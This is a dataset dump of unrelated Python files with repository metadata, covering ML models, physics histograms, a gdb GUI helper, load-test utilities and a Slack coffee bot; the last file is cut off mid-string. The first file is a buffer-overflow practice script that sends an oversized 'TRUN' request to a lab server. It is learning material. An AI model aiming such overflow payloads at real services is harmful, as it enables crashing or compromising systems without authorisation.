Reset23/the-stack-v2-python · Datasets at Hugging Face

f94c16d5dafa51a22ec02299b323a9e837bbb34f

754e748200c84138b023f6d2213ae8046df22803

/learn/vlunser/space.py

832696601f58ed2def6c6effa911cb5dd3e782be

[]

no_license

0xarun/bufferoverflow

e344d44742dbb37b06079ed64a0ec58f120f09bc

ce2de29786a686163f3e42d91376499b61d3f0f3

refs/heads/main

2023-02-24T07:12:01.125789

2021-01-31T07:52:48

334,601,720

0

1

null

UTF-8

Python

false

309

py

import time, struct, sys import socket server = "192.168.225.105" port = 9999 OFFSET = "A" * 2003 EIP = "BBBB" SAMPLE = "CCCCC" space = "D"*1000 req = "TRUN /.:/" + OFFSET + EIP + SAMPLE + space s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((server, port)) print(s.recv(1024)) s.send(req)

[ "noreply@github.com" ]

0xarun.noreply@github.com

d5b52e5385b25b282446c84c7f35e12d75acb573

327de59d735c9654ef17b3d13a4b63a68d2598c3

/model.py

fbe3b5f354b251ea1aabf5c8161e11072e029b25

[ "Apache-2.0" ]

permissive

jimmycallin/whatelles

604ca313be3a98560808569373d33817398be569

e8d74888655a6183b2e04b93e421c0f4939f5dbe

refs/heads/master

2021-01-18T04:38:08.403436

2015-09-10T08:47:30

33,443,959

0

null

UTF-8

Python

false

24,467

py

import theano import theano.tensor as T import numpy as np class MLP(object): """Multi-Layer Perceptron Class A multilayer perceptron is a feedforward artificial neural network model that has one layer or more of hidden units and nonlinear activations. Intermediate layers usually have as activation function tanh or the sigmoid function (defined here by a ``HiddenLayer`` class) while the top layer is a softamx layer (defined here by a ``LogisticRegression`` class). """ def __init__(self, rng, input, n_hiddens, n_out, activation_function, cost_function, vocab_size, embedding_dimensionality, no_embeddings): """Initialize the parameters for the multilayer perceptron :type rng: numpy.random.RandomState :param rng: a random number generator used to initialize weights :type input: theano.tensor.TensorType :param input: symbolic variable that describes the input of the architecture (one minibatch) :type n_hiddens: list[int] :param n_hidden: list of number of hidden units for each hidden layer :type n_out: int :param n_out: number of output units, the dimension of the space in which the labels lie """ embedding_layer = EmbeddingLayer(rng=rng, input=input, vocab_size=vocab_size, embedding_dimensionality=embedding_dimensionality, no_embeddings=no_embeddings, embeddings=None, activation=activation_function) self.hidden_layers = [embedding_layer] prev_layer_n = embedding_layer.n_out prev_input = embedding_layer.output for n_hidden in n_hiddens: hidden_layer = HiddenLayer(rng=rng, input=prev_input, n_in=prev_layer_n, n_out=n_hidden, activation=activation_function) self.hidden_layers.append(hidden_layer) prev_layer_n = n_hidden prev_input = hidden_layer.output self.log_regression_layer = LogisticRegression(input=self.hidden_layers[-1].output, n_in=self.hidden_layers[-1].n_out, n_out=n_out, cost_function=cost_function) l1_hidden_layers = sum([abs(hl.W).sum() for hl in self.hidden_layers]) l2_hidden_layers = sum([(hl.W ** 2).sum() for hl in self.hidden_layers]) self.L1 = l1_hidden_layers + abs(self.log_regression_layer.W).sum() self.L2_sqr = l2_hidden_layers + (self.log_regression_layer.W ** 2).sum() self.errors = self.log_regression_layer.errors self.y_pred = self.log_regression_layer.y_pred self.calculate_cost = self.log_regression_layer.calculate_cost self.params = [p for hl in self.hidden_layers for p in hl.params] + self.log_regression_layer.params class EmbeddingLayer(): def __init__(self, rng, input, vocab_size, embedding_dimensionality, no_embeddings, embeddings=None, activation=T.nnet.sigmoid): self.input = T.cast(input, 'int32') self.activation = activation batch_size = input.shape[0] self.embedding_dimensionality = embedding_dimensionality self.no_embeddings = no_embeddings self.n_out = no_embeddings * embedding_dimensionality if embeddings is None: embeddings = np.asarray(rng.uniform(low=-np.sqrt(6 / (vocab_size + embedding_dimensionality)), high=np.sqrt(6 / (vocab_size + embedding_dimensionality)), size=(vocab_size, embedding_dimensionality)), dtype=theano.config.floatX) if activation == theano.tensor.nnet.sigmoid: # Sigmoid demands a larger interval, according to [Xavier10]. embeddings *= 4 embeddings = theano.shared(value=embeddings, name='embeddings', borrow=True) self.embeddings = embeddings # Replace all word indices in input with word embeddings emb_input = self.embeddings[self.input.flatten()] # Reshape to match original input (times embedding dimensionality on columns) self.W = emb_input.reshape((batch_size, no_embeddings * embedding_dimensionality)) self.output = self.W if self.activation is None else self.activation(self.W) self.params = [self.embeddings] class HiddenLayer(): def __init__(self, rng, input, n_in, n_out, W=None, b=None, activation=T.tanh): self.input = input self.activation = activation self.n_in = n_in self.n_out = n_out if W is None: W_values = np.asarray(rng.uniform(low=-np.sqrt(6 / (n_in + n_out)), high=np.sqrt(6 / (n_in + n_out)), size=(n_in, n_out)), dtype=theano.config.floatX) if activation == theano.tensor.nnet.sigmoid: # Sigmoid demands a larger interval, according to [Xavier10]. W_values *= 4 W = theano.shared(value=W_values, name='W', borrow=True) if b is None: b_values = np.zeros((n_out,), dtype=theano.config.floatX) b = theano.shared(value=b_values, name='b', borrow=True) self.W = W self.b = b lin_output = T.dot(input, self.W) + self.b self.output = (lin_output if self.activation is None else self.activation(lin_output)) self.params = [self.W, self.b] class LogisticRegression(object): """Multi-class Logistic Regression Class The logistic regression is fully described by a weight matrix :math:`W` and bias vector :math:`b`. Classification is done by projecting data points onto a set of hyperplanes, the distance to which is used to determine a class membership probability. """ def __init__(self, input, n_in, n_out, cost_function): """ Initialize the parameters of the logistic regression :type input: theano.tensor.TensorType :param input: symbolic variable that describes the input of the architecture (one minibatch) :type n_in: int :param n_in: number of input units, the dimension of the space in which the datapoints lie :type n_out: int :param n_out: number of output units, the dimension of the space in which the labels lie :type: cost_function: function :param cost_function: Cost function to use. """ self.cost_function = cost_function # initialize with 0 the weights W as a matrix of shape (n_in, n_out) self.W = theano.shared(value=np.zeros((n_in, n_out), dtype=theano.config.floatX), name='W', borrow=True) # initialize the baises b as a vector of n_out 0s self.b = theano.shared(value=np.zeros((n_out,), dtype=theano.config.floatX), name='b', borrow=True) self.p_y_given_x = T.nnet.softmax(T.dot(input, self.W) + self.b) self.y_pred = T.argmax(self.p_y_given_x, axis=1) # parameters of the model self.params = [self.W, self.b] def calculate_cost(self, y): return self.cost_function(self.p_y_given_x, y) def predicted(self): return self.y_pred def errors(self, y): """Return a float representing the number of errors in the minibatch over the total number of examples of the minibatch ; zero one loss over the size of the minibatch :type y: theano.tensor.TensorType :param y: corresponds to a vector that gives for each example the correct label """ # check if y has same dimension of y_pred if y.ndim != self.y_pred.ndim: raise TypeError('y should have the same shape as self.y_pred', ('y', y.type, 'y_pred', self.y_pred.type)) # check if y is of the correct datatype if y.dtype.startswith('int'): # the T.neq operator returns a vector of 0s and 1s, where 1 # represents a mistake in prediction return T.mean(T.neq(self.y_pred, y)) else: raise NotImplementedError("Input of y needs to have dtype int") class NNPrediction(): model_parameters = {"n_epochs": "Number of epochs for training.", "seed": "Seed to use for random initialization.", "learning_rate": "The rate of learning gradient descent.", "batch_size": "How large batch for each iteration of training.", "validation_improvement_threshold": "How much the validation test must improve \ within a given before aborting.", "min_iterations": "Run at least these many iterations without early stopping.", "activation_function": "Activation function to use.", "cost_function": "Cost_function to use.", "embedding_dimensionality": "The dimensionality of each embedding layer.", "no_embeddings": "Total number of embedding layers.", "L1_reg": "The L1 regression factor.", "L2_reg": "The L2 regression factor.", "classes": "The training output classes.", "n_hiddens": "List of hidden layers with each layers dimensionality.", "window_size": "A tuple of number of words to left and right to condition upon.", "n_tags": "Number of previous POS tags to look for.", "ignore_pos_tags": "Whether to ignore this feature type or not.", "ignore_target_context": "Whether to ignore this feature type or not.", "ignore_source_context": "Whether to ignore this feature type or not."} def __init__(self, config): self.config = config self.x = T.matrix('x') self.y = T.ivector('y') self.n_epochs = config.get('n_epochs', 50) self.rng = np.random.RandomState(self.config.get('seed', 1)) self.learning_rate = self.config.get('learning_rate', 0.01) self.batch_size = self.config.get('batch_size', 500) self.validation_improvement_threshold = self.config.get('validation_improvement_threshold', 0.995) self.min_iterations = self.config.get('min_iterations', 10000) self.index = T.lscalar() def _initialize_classifier(self): self.config['vocab_size'] = self.no_words self.classifier = MLP(rng=self.rng, input=self.x, n_hiddens=self.config['n_hiddens'], n_out=self.config['n_out'], activation_function=self.config['activation_function'], cost_function=self.config['cost_function'], vocab_size=self.config['vocab_size'], embedding_dimensionality=self.config['embedding_dimensionality'], no_embeddings=self.config['no_embeddings']) self.cost = (self.classifier.calculate_cost(self.y) + self.config.get('L1_reg', 0) * self.classifier.L1 + self.config.get('L2_reg', 0.0001) * self.classifier.L2_sqr) gparams = [T.grad(self.cost, param) for param in self.classifier.params] self.updates = [(param, param - self.learning_rate * gparam) for param, gparam in zip(self.classifier.params, gparams)] def _initialize_train_model(self, train_set_x, train_set_y): """ Initializes the training model. Params: :train_set_x: A matrix of features, where each row corresponds to a new training instance. :train_set_y: A list of corresponding training outputs. Returns a training model theano function, taking a batch index as input. """ shared_x = theano.shared(np.asarray(train_set_x, dtype=theano.config.floatX), borrow=True) shared_y = theano.shared(np.asarray(train_set_y, dtype=theano.config.floatX), borrow=True) # GPU only handles float32 while the output should actually be int. shared_y = T.cast(shared_y, 'int32') batch_interval = slice(self.index * self.batch_size, (self.index + 1) * self.batch_size) train_model = theano.function(inputs=[self.index], outputs=self.cost, updates=self.updates, givens={self.x: shared_x[batch_interval], self.y: shared_y[batch_interval]} ) return train_model def _initialize_test_model(self, test_set_x): """ Initializes the test model. Params: :test_set_x: A matrix of features, where each row corresponds to a new instance. Returns a test model theano function. When calling the function, it runs the test. The test model outputs a list of predicted classes. """ shared_x = theano.shared(np.asarray(test_set_x, dtype=theano.config.floatX), borrow=True) # batch_interval = slice(self.index * self.batch_size, (self.index + 1) * self.batch_size) test_model = theano.function(inputs=[], outputs=self.classifier.y_pred, givens={self.x: shared_x}) return test_model def _initialize_dev_model(self, train_set_x, train_set_y): """ Initializes the development model. Params: :test_set_x: A matrix of features, where each row corresponds to a new instance. Returns a dev model theano function. When calling the function, it runs the test. Output of dev model is the mean error value. """ shared_x = theano.shared(np.asarray(train_set_x, dtype=theano.config.floatX), borrow=True) shared_y = theano.shared(np.asarray(train_set_y, dtype=theano.config.floatX), borrow=True) # GPU only handles float32 while the output should actually be int. shared_y = T.cast(shared_y, 'int32') test_model = theano.function(inputs=[], outputs=self.classifier.errors(self.y), givens={self.x: shared_x, self.y: shared_y}) return test_model def train(self, training_data, validation_data=None): """ Trains the classifier given a training set (list of data_utils.Sentence instances). If given a validation set, validate the improvement of the model every :validation_frequency:th time. If no improvements have happened for a while, abort the training early. """ train_set_x, train_set_y = self.featurify(training_data, update_vocab=True) self._initialize_classifier() train_model = self._initialize_train_model(train_set_x, train_set_y) validation_model = None if validation_data is not None: validation_set_x, validation_set_y = self.featurify(validation_data) validation_model = self._initialize_dev_model(validation_set_x, validation_set_y) best_error_rate = np.inf n_train_batches = len(train_set_x) // self.batch_size epoch = 0 iteration = 0 best_iteration = None break_early = False if validation_model is not None: patience = self.min_iterations validation_frequency = min(n_train_batches, patience // 2) else: patience = self.n_epochs * len(train_set_x) for epoch in range(self.n_epochs): if break_early: break print("Training epoch {}".format(epoch)) for minibatch_index in range(n_train_batches): iteration = epoch * n_train_batches + minibatch_index train_model(minibatch_index) if validation_model is not None and (iteration + 1) % validation_frequency == 0: error_rate = self._evaluate(validation_model, self.batch_size, len(validation_set_x)) print("Validation error rate: {}, epoch {}, minibatch {}".format(error_rate, epoch, minibatch_index)) if error_rate < best_error_rate: if error_rate < best_error_rate * self.validation_improvement_threshold: patience = max(patience, iteration * 2) best_error_rate = error_rate best_iteration = iteration if patience <= iteration: print("Breaking at iteration {}".format(iteration)) break_early = True break print("Finished training model.") if validation_model is not None: print("Best validation error rate: {} on iteration {}".format(best_error_rate, best_iteration)) def predict(self, test_data): test_set_x, test_set_y = self.featurify(test_data) test_model = self._initialize_test_model(test_set_x) predictions = self._evaluate(test_model, self.batch_size, len(test_set_x)) return predictions def _evaluate(self, test_model, batch_size, test_set_length): return test_model() def output(self, predictions, output_path): """ Outputs the prediction results in a format recognized by the discoMT_scorer.pl. """ pred_iter = iter(predictions) test_instances = [] with open(self.config['development_filepath']) as test_data: for line in test_data: (class_labels, removed_words, source_sentence, target_sentence, alignments) = [x.strip() for x in line.split('\t')] class_labels = class_labels.split() removed_words = removed_words.split() instances_predicted = [] for _ in range(len(class_labels)): instances_predicted.append(self.classes[next(pred_iter)]) test_instances.append([instances_predicted, removed_words, source_sentence, target_sentence, alignments]) if output_path is not None: with open(output_path, 'w') as output: for line in test_instances: line_str = "" for column in line[:2]: line_str += " ".join(column) + "\t" line_str += "\t".join(line[2:]) print(line_str) output.write(line_str + "\n") class PronounPrediction(NNPrediction): """ This is the main model for cross-lingual pronoun prediction. """ model_parameters = dict(NNPrediction.model_parameters) def __init__(self, config): self._word2id = dict() self.classes = config['classes'] self.no_words = 0 config['n_out'] = len(self.classes) self.word2id("UNK", update_vocab=True) # initialize unknown id super().__init__(config) def featurify(self, sentences, update_vocab=False): """ Param sentences: list of data_utils.Sentence instances """ x_matrix = [] y_vector = [] for sentence in sentences: target_contexts = sentence.removed_words_target_contexts(*self.config['window_size']) source_contexts = sentence.removed_words_source_contexts(*self.config['window_size']) sentence_details = zip(sentence.removed_words_source_indices, target_contexts, source_contexts) for k, (source_indices, target_context, source_context) in enumerate(sentence_details): features = [] if not self.config.get('ignore_target_context', False): # Add target context features for i, context_word in enumerate(target_context): if i != len(target_context) // 2: # ignore word to replace features.append(self.word2id(context_word, update_vocab=update_vocab)) if not self.config.get('ignore_source_context', False): # Add source context features for context_word in source_context: if isinstance(context_word, list): features.append(self.word2id(context_word[0], update_vocab=update_vocab)) else: features.append(self.word2id(context_word, update_vocab=update_vocab)) if not self.config.get('ignore_pos_tags', False): # Add n_tags previous nouns noun_tags = ("NN", "NNS", "NNP", "NNPS", "PRP", "PRP$") for nouns in sentence.get_previous_target_words_with_tag(source_indices[0], self.config['n_tags'], tags=noun_tags): # only add first target noun features.append(self.word2id(nouns[0])) # Add n_tags previous articles article_tags = ("DT",) for articles in sentence.get_previous_target_words_with_tag(source_indices[0], self.config['n_tags'], tags=article_tags): # only add first target noun features.append(self.word2id(articles[0])) x_matrix.append(features) # only store y values when we actually know them. some test data comes without. if len(sentence.classes) > 0: y_vector.append(self.classes.index(sentence.classes[k])) return np.asarray(x_matrix, dtype=np.int32), np.asarray(y_vector, dtype=np.int32) def word2id(self, word, update_vocab=False): """ Generates and retrieves the index of a given word, used for getting the corresponding embedding. """ if word not in self._word2id and update_vocab: self._word2id[word] = self.no_words self.no_words += 1 elif word not in self._word2id and not update_vocab: return self.word2id("UNK", update_vocab=True) return self._word2id[word] def negative_log_likelihood(y_pred, y): return -T.mean(T.log(y_pred)[T.arange(y.shape[0]), y]) def cross_entropy(y_pred, y): c_entrop = T.sum(T.nnet.categorical_crossentropy(y_pred, y)) return c_entrop

[ "jimmy.callin@gmail.com" ]

jimmy.callin@gmail.com

1e273a85868f0f6b461bfd41551779c6a908e717

eab72229ae04d1160704cbf90a08a582802a739c

/pipeline.py

951739aed5ac7ad0818e105dbff2397a48108344

[ "MIT" ]

permissive

megatazm/Crowd-Counting

444d39b0e3d6e98995f53badf4c073829038b6b7

647a055baccee2c3b6b780f38930e2ffd14d1664

refs/heads/master

2022-04-01T04:49:16.409675

2020-01-31T21:24:02

null

0

null

UTF-8

Python

false

518

py

import os # Crop area #os.system("python3 crop.py") ## APPROACH 1 MCNN os.system("python3 put_zero_image.py") os.system("python3 test.py") os.system("python3 put_zero_den.py") os.system("python3 find_people.py") os.system("python3 position.py") ## APPROACH 2 - RNN #os.system("python3 tiny_face_eval.py --weight_file_path weight --prob_thresh 0.04 --nms_thresh 0.0") ## TRACKING # Put heads into file #os.system("python3 get_heads.py") # Track heads among videos #os.system("python3 track_video.py")

[ "gpsunicamp016@gmail.com" ]

gpsunicamp016@gmail.com

0d0b792b12ae89e4345a54d9f5615577cc7c649f

9c09818cd7eabfe56c4744ab879f9e460f49add0

/gui/adapt.py

2210583aac5ee7946f633f9123aabb12def3c1b5

[]

no_license

shamjithkv/gdb-gui

5498d2041829925917498cb34c22cec1e68deb73

b21838a4ea1a68f9d14511f53f4c5c1196478a0c

refs/heads/master

2020-07-27T22:48:30.282103

2017-08-28T16:52:57

2017-09-06T12:29:00

209,237,135

1

0

null

2019-09-18T06:42:57

null

UTF-8

Python

false

2,012

py

# Copyright (C) 2015, 2016 Tom Tromey <tom@tromey.com> # This program is free software; you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation; either version 3 of the License, or # (at your option) any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with this program. If not, see <http://www.gnu.org/licenses/>. # Adapt to gdb issues. import gdb import gui.params # The rule for adding a new entry here is that the bug must have some # notable user-visible effect. bugs = { 15620: """Your gdb doesn't have a "new breakpoint" event. This means that the source windows will not show you where breakpoints have been set.""", 13598: """Your gdb doesn't have a "before prompt" event. This means that various windows won't be able to react to commands like "up" or "down".""", 18385: """Your gdb doesn't expose locations on a gdb.Breakpoint. This can be worked around, but maybe not always reliably. This means that sometimes breakpoints won't display in source windows.""", 18620: """Your gdb doesn't have a "breakpoint modified" event. This means that when a pending breakpoint is resolved, the GUI won't be able to update to reflect that fact.""" } _warning = """See https://sourceware.org/bugzilla/show_bug.cgi?id=%s for more information.""" _first_report = True def notify_bug(bugno): if not gui.params.warn_missing.value: return if not (bugno in bugs): return print("################") print(bugs[bugno]) print(_warning % bugno) print("") print("You can use 'set gui mention-missing off' to disable this message.") print("################") del bugs[bugno]

[ "tom@tromey.com" ]

tom@tromey.com

7239911c21420bb41edadd6bdde52c22a6ffe90f

30eeca4d18bd863260882272cf391b1531dcc871

/Limits/test/collectHistos.py

5d7c3438171cde65afbc7ca6b8ae0c9b6bdadbf6

[]

no_license

decosa/Stat

3b1a5dabf563366b8117fbc56ceef338b719ad6e

10ba54677f401e574ed803bf739f714c5fd62338

refs/heads/master

2020-04-28T16:53:55.142130

2019-11-26T14:58:29

175,427,511

0

6

null

UTF-8

Python

false

5,232

py

import ROOT import os, sys import optparse import copy from Stat.Limits.settings import processes, histos usage = 'usage: %prog -p histosPath -o outputFile' parser = optparse.OptionParser(usage) parser.add_option('-i', '--input', dest='path', type='string', default= "./histos2017v6/",help='Where can I find input histos?') parser.add_option("-o","--outputFile",dest="output",type="string",default="histos_2017.root",help="Name of the output file collecting histos in Combine user frieldy schema. Default is histos.root") parser.add_option("-s","--stat",dest="mcstat",action='store_true', default=False) (opt, args) = parser.parse_args() sys.argv.append('-b') path_ = opt.path ofilename = opt.output mcstat = opt.mcstat # Creating output file ofile = ROOT.TFile(ofilename,"RECREATE") ofile.Close() # Getting list of files in histos print os.listdir(path_) sampFiles = [f for f in os.listdir(path_) if (os.path.isfile(os.path.join(path_, f)) and f.endswith(".root") and f!=ofilename )] year = "" if("2016" in path_ or "20161718" in path_): year = "2016" elif("2017" in path_): year = "2017" elif("2018" in path_): year = "2018" #*******************************************************# # # # FILLING IN THE INPUT ROOT FILE FOR COMBINE # # # #*******************************************************# histos_data = [] for f in sampFiles: try: ifile = ROOT.TFile.Open(path_ + f) except IOError: print "Cannot open ", f else: print "Opening file ", f ifile.cd() samp = f.replace(".root", "") print "We are looking into file: ", f ofile = ROOT.TFile(ofilename,"UPDATE") for k_, h_ in histos.iteritems(): print "We are looking for object ", h_ h = ifile.Get(h_) if not os.path.isdir( k_+ "_" + year): newsubdir = ofile.mkdir(k_ + "_" +year) ofile.cd(k_+ "_" +year) if(samp.startswith("Data")): samp = "data_obs" #print "We are looking for histo %s for samp %s in %s" % (h_, samp, f) h.SetName(samp) h.Write(samp, ROOT.TObject.kWriteDelete) if(samp.startswith("Data")): histos_data.append(h) nBinsX = h.GetNbinsX() #print "SAMP ",samp if k_ in samp: samp = samp.replace("_" + k_, "") elif "cat" in samp: samp = samp.replace("cat_", "") #print "SAMP after channel removal ",samp if(samp.startswith("data")): samp = "Data" # h_ = h_[:4] if(samp.startswith("SVJ") and not (samp.endswith("Up") or samp.endswith("Down")) and mcstat == True ): for n in xrange(nBinsX): hNameUp = "%s_mcstat_%s_bin%d_Up" % ( h_, samp, n+1) hNameDown = "%s_mcstat_%s_bin%d_Down" % ( h_, samp, n+1) print "Histogram: ", hNameUp h_mcStatUp = ifile.Get(hNameUp) h_mcStatDown = ifile.Get(hNameDown) h_mcStatUp.SetName("%s_mcstat_%s_%s_%s_bin%dUp" % (samp, k_, year, samp, n+1)) h_mcStatUp.Write("%s_mcstat_%s_%s_%s_bin%dUp" % (samp, k_, year, samp, n+1), ROOT.TObject.kWriteDelete) h_mcStatDown.SetName("%s_mcstat_%s_%s_%s_bin%dDown" % (samp, k_, year, samp, n+1)) h_mcStatDown.Write("%s_mcstat_%s_%s_%s_bin%dDown" % (samp, k_, year, samp, n+1), ROOT.TObject.kWriteDelete) ofile.Write() ofile.Close() #*******************************************************# # # # CREATING TOTAL BACKGORUND HISTOS # # # #*******************************************************# histData = dict(zip(histos.keys(), [None]*len(histos.keys()))) for p in processes: try: ifile = ROOT.TFile.Open(path_ + p +".root") except IOError: print "Cannot open ", p +".root" else: print "Opening file ", p +".root" ifile.cd() for k_, h_ in histos.iteritems(): tmphist = ifile.Get( h_) if histData[k_] is None: histData[k_] = copy.deepcopy(tmphist) else: histData[k_].Add(tmphist) ofile = ROOT.TFile(ofilename,"UPDATE") for k_ in histos.keys(): print "Creating Bkg histogram " #if not os.path.isdir( k_ + "_" + year): # newsubdir = ofile.mkdir(k_+"_" + year) ofile.cd(k_+ "_" + year) histData[k_].SetName("Bkg") histData[k_].Write("Bkg", ROOT.TObject.kWriteDelete) print "Bkg integral ", histData[k_].Integral() bkgpdf = histData[k_].Clone("BkgPdf") bkgpdf.Scale(1./ bkgpdf.Integral()) print "Bkg pdf ", bkgpdf.Integral() histdata = bkgpdf.Clone("data_obs") histdata.Reset() print "data pdf ", histdata.Integral() histdata.FillRandom(bkgpdf, int(histData[k_].Integral())) print "data ", histdata.Integral() #histData[k_].SetName("data_obs") histdata.Write("data_obs", ROOT.TObject.kWriteDelete) print "MCSTAT ", mcstat ofile.Write() ofile.Close()

[ "decosa@t3ui03.psi.ch" ]

decosa@t3ui03.psi.ch

1dce9e2b6a0d7482d47bab26f855b928218015ad

ed7f129761f6ef2feaa3808c52bb306522911950

/app/main/__init__.py

a7fafd9bbdc8a3505fd7bca1b7159365735f55a0

[]

no_license

dpvitt/notes

de7f55ad782a727cbd684b6b79ca2a4e38cf642d

3d7171fdc401a5c38e757b27e2dfee2b857e8939

refs/heads/master

2020-12-25T11:15:29.331707

2016-07-02T21:54:05

61,044,112

0

null

UTF-8

Python

false

105

py

from flask import Blueprint main_route = Blueprint('main_route', __name__) from . import views, errors

[ "daniel@danielpavitt.com" ]

daniel@danielpavitt.com

4a8ada6d088f1323d8cca6167d34a3532ee51e6b

be272ddb3de512a7d7f4652ebf94b27052a3e211

/code/amalgamtion_with_batch_label.py

b8bcd5d4e2bc9975c4f8627b7c1a103c81a390a9

[]

no_license

ouc-nlp/KABI

d3ba7dd21a008be36e4c46ceeb7f3c8da4da6523

f5720a5ef5c61fb5f46d97c0b15de469ef34a564

refs/heads/master

2023-02-22T18:42:28.521913

2021-01-22T10:17:25

331,868,769

0

null

UTF-8

Python

false

3,922

py

import os import torch import torch.cuda as tc from torchvision import transforms from utils.MyImageFolder import ImagesListFileFolder from networks.resnet18_for_cifer100 import resnet18 import torch.nn as nn from utils.AverageMeter import AverageMeter from networks.rps_net_mlp import RPS_net_mlp from torchvision import models import argparse from utils.Utils import accuracy, get_concat_val_loader _model_dict = { 'rps_net_mlp': RPS_net_mlp, 'resnet18': resnet18, 'standard_resnet18': models.resnet18 } _dataset_class_number = { 'mnist':10, 'cifar100':100, 'ilsvrc2012':1000 } """ the accurcy of amalgamation models with batch labels """ def get_parser(): parser = argparse.ArgumentParser() parser.add_argument("--data_root", type=str, default='../datasets_folder') parser.add_argument("--model_root", type=str, default='../model') parser.add_argument("--dataset_name", type=str, default='cifar100') parser.add_argument("--batch_size", type=int, default=64) parser.add_argument("--model", type=str, default='resnet18') parser.add_argument("--gpu_id", type=str, default='0') parser.add_argument("--start", type=int, default=1) parser.add_argument("--end", type=int, default=10) parser.add_argument("--phases", type=int, default=10) return parser def main(): opts = get_parser().parse_args() models_folder=os.path.join(opts.model_root,opts.dataset_name,str(opts.phases)+'phases','amalgamation_models') model_file_name_list=os.listdir(models_folder) for model_file_name in model_file_name_list: model_path=os.path.join(models_folder,model_file_name) model = _model_dict[opts.model]() state = torch.load(model_path, map_location=lambda storage, loc: storage) num_cls = state['num_classes'] model.fc = nn.Linear(model.fc.in_features, num_cls) model.load_state_dict(state['state_dict']) model.cuda() model.eval() val_file_path_list = [] val_dataset_folder = os.path.join(opts.data_root,opts.dataset_name,str(opts.phases)+'phases','separated/test/batch_test') val_dataset_filename_list = os.listdir(val_dataset_folder) for val_dataset_filename in val_dataset_filename_list[:int(model_file_name[-2:])]: val_file_path = os.path.join(val_dataset_folder,val_dataset_filename) val_file_path_list.append(val_file_path) val_loader = get_concat_val_loader(val_file_path_list,opts.dataset_name,val_dataset_folder, opts.batch_size) top = AverageMeter() class_num_each_phase = _dataset_class_number[opts.dataset_name] // opts.phases for data in val_loader: inputs, labels = data if tc.is_available(): inputs, labels = inputs.cuda(0), labels.cuda(0) outputs = model(inputs) output_output = outputs for label_index in range(len(outputs)): min_value = torch.min(outputs[label_index]) for phase in range(opts.phases): if class_num_each_phase * phase <= labels[label_index] < class_num_each_phase * (phase + 1): outputs[label_index][:class_num_each_phase * phase] = min_value - 1 outputs[label_index][class_num_each_phase * (phase + 1):] = min_value - 1 if opts.dataset_name == 'ilsvrc2012': # compute top-5 classification accuracy for ilsvrc 2012 _, prec = accuracy(outputs.data, labels, topk=(1, 5)) else: # compute top-1 classification accuracy for cifar100 and mnist prec, _ = accuracy(outputs.data, labels, topk=(1, 2)) top.update(prec.item(), inputs.size(0)) # inputs.size(0) = batch_size print(top.avg) if __name__ == '__main__': main()

[ "xwh@ouc.edu.cn" ]

xwh@ouc.edu.cn

934e6966fbd17ae8a420204911909a52151bbaf6

8d5f49fa1fda8ffc473e7f5a62786c77838a5820

/website/load_tests/drawquest/test_scripts/utils.py

e305eef730b14c15bd7911f0cf1ade88885204ff

[ "BSD-3-Clause" ]

permissive

MichaelBechHansen/drawquest-web

dfc6f5d9541860a5df23db678e82564a230bd42e

8d8f9149b6efeb65202809a5f8916386f58a1b3b

refs/heads/master

2021-01-14T10:30:10.861222

2015-11-10T03:13:42

null

0

null

UTF-8

Python

false

1,724

py

import json import uuid import requests PASSWORD = 'testpassword' #QUEST_ID = 658 #QUEST_ID = 926 #staging smilie QUEST_ID = 7004 PLAYBACK_DATA = '' TEST_USERNAME = 'test_account__' TEST_PASSWORD = 'testaccount' class ApiError(Exception): pass class HttpError(Exception): pass class ApiConsumer(object): def __init__(self): self.session_id = None def call(self, endpoint, params={}): payload = json.dumps(params) headers = { 'content-type': 'application/json', } if self.session_id: headers['X-SESSIONID'] = self.session_id ret = requests.post('http://api.staging.example.com/' + endpoint, data=payload, headers=headers) if ret.status_code != 200: raise HttpError(ret.status_code) if not ret.json.get('success'): raise ApiError(ret.json) return ret.json def signup(self, username=None): if not username: username = '_TEST_' + str(uuid.uuid4())[-10:].replace('-', '_') ret = self.call('auth/signup', { 'username': username, 'email': '{}@example.example'.format(username), 'password': PASSWORD, }) self.session_id = ret['sessionid'] def heavy_state_sync(self): return self.call('heavy_state_sync') def onboarding_quest(self): return self.call('quests/onboarding') def quest_comments(self, quest_id): return self.call('quests/comments', {'quest_id': quest_id}) class DrawquestTransaction(object): def __init__(self): self.custom_timers = {} def main(trans_cls): trans = trans_cls() trans.run() print trans.custom_timers

[ "alex.ehlke@gmail.com" ]

alex.ehlke@gmail.com

e80bbd400c9eb77464d747268c9691a9848a9705

af955fdd32cf9f6cb74b4f58cada1683063ccb59

/hal_commands.py

b1bd49708ffeff2c0695e4b16f66699c15c26a9a

[]

no_license

Pepedou/HAL-9000

b2ec753cf73458c13fb95595221e535a57f27e98

54c742bc7212a0f6756069754c9863f6a4c54d67

refs/heads/master

2020-12-31T07:34:16.522196

2017-03-29T04:09:08

86,535,698

0

null

UTF-8

Python

false

3,115

py

__author__ = 'José Luis Valencia Herrera' import os import plivo_text_to_speech import utils class HalCommandTypes: COFFEE_COMMAND = "coffee" class HalCommand: def __init__(self): self.raw_request = "" self.requesting_user = "" self.command_arguments = [] def execute(self): pass class HalCommandParser: @staticmethod def parse_command_from_message_text(message_text: str): parsed_command = {} split_message = message_text.split(' ') if split_message[1] == str(HalCommandTypes.COFFEE_COMMAND): parsed_command['command_type'] = HalCommandTypes.COFFEE_COMMAND parsed_command['command_arguments'] = message_text.split('"')[1:] else: raise Exception("Unable to parse command type") return parsed_command class CoffeeCommand(HalCommand): COFFEE_HOUSE_NUMBER = os.environ.get('COFFEE_HOUSE_NUMBER', "") def execute(self): try: success = plivo_text_to_speech.send_call(self.COFFEE_HOUSE_NUMBER, self.requesting_user['real_name_normalized'], self.command_arguments[0], self.command_arguments[1]) if success: if "tarjeta" in self.command_arguments[1].lower(): response_ending = "and a terminal should be brought to you for payment." else: response_ending = "and I've requested change for a ${0} bill.".format(self.command_arguments[1]) response = "Affirmative, {0}. I've placed the order \"{1}\" " \ "{2}".format( self.requesting_user['first_name'], self.command_arguments[0], response_ending) else: response = "I'm sorry {0}, I'm afraid I can't do that. There was an error sending the message. " \ "I think you know what the problem is just as well as I do.".format( self.requesting_user['first_name']) except Exception as e: response = "I'm sorry {0}, I'm afraid I can't do that. There was an error sending the message. " \ "I think you know what the 